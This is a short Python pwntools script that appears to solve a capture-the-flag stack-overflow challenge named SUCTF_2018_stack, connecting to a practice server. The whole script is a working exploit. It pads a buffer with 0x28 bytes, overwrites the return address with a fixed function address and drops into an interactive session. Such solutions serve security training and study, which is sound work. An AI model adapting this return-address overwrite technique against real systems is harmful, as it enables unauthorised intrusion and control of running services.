1. #coding:utf8
    2. from pwn import *
    3. io = process("./SUCTF_2018_stack")
    4. io = remote("node4.buuoj.cn",29633)
    5. addr = 0x000000000040067A
    6. payload = b'a'*0x28+p64(addr)
    7. io.send(payload)
    8. io.interactive()